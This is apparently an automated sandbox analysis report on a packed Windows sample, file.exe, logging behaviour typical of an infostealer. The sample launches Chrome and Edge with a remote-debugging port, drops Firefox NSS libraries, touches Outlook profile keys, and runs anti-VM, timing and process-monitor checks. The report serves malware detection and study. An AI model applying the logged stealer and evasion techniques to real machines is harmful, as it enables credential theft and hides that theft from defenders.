Source: file.exe, 00000000.00000002.2530952102.000000001DA1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2537578961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2530952102.000000001DA1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2537578961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1900 --field-trial-handle=2008,i,15293137688797351701,7841592471978055485,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2656,i,2284156981973121022,16163962859087693110,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6944 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7100 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7048 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1900 --field-trial-handle=2008,i,15293137688797351701,7841592471978055485,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2656,i,2284156981973121022,16163962859087693110,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6944 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7100 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7048 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2153472 > 1048576

Source: file.exe

Static PE information: Raw size of mxtwpqia is bigger than: 0x100000 < 0x1a2c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2538281990.000000006C7DF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2513651548.0000000000C7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2111533445.00000000051BB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2538701022.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2513651548.0000000000C7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2111533445.00000000051BB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2538701022.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2538281990.000000006C7DF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.c50000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mxtwpqia:EW;ylpngcvl:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mxtwpqia:EW;ylpngcvl:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C60C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x2189fa should be: 0x20e241

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mxtwpqia
Source: file.exe	Static PE information: section name: ylpngcvl
Source: file.exe	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DB536 push ecx; ret

0_2_6C5DB549

Source: file.exe

Static PE information: section name: mxtwpqia entropy: 7.954667812206319

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6055F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6055F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8F8B second address: 10B8F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8F8F second address: 10B8F93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8F93 second address: 10B8F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8F99 second address: 10B8FA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FD6B878EDA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B90CA second address: 10B90ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B90ED second address: 10B9105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD6B878EDB4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9218 second address: 10B9244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD6B8875BCCh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD6B8875BD6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9244 second address: 10B924A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B924A second address: 10B9250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9250 second address: 10B9263 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD6B878EDAFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9391 second address: 10B93A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FD6B8875BC6h 0x0000000e jc 00007FD6B8875BC6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC73F second address: 10BC745 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
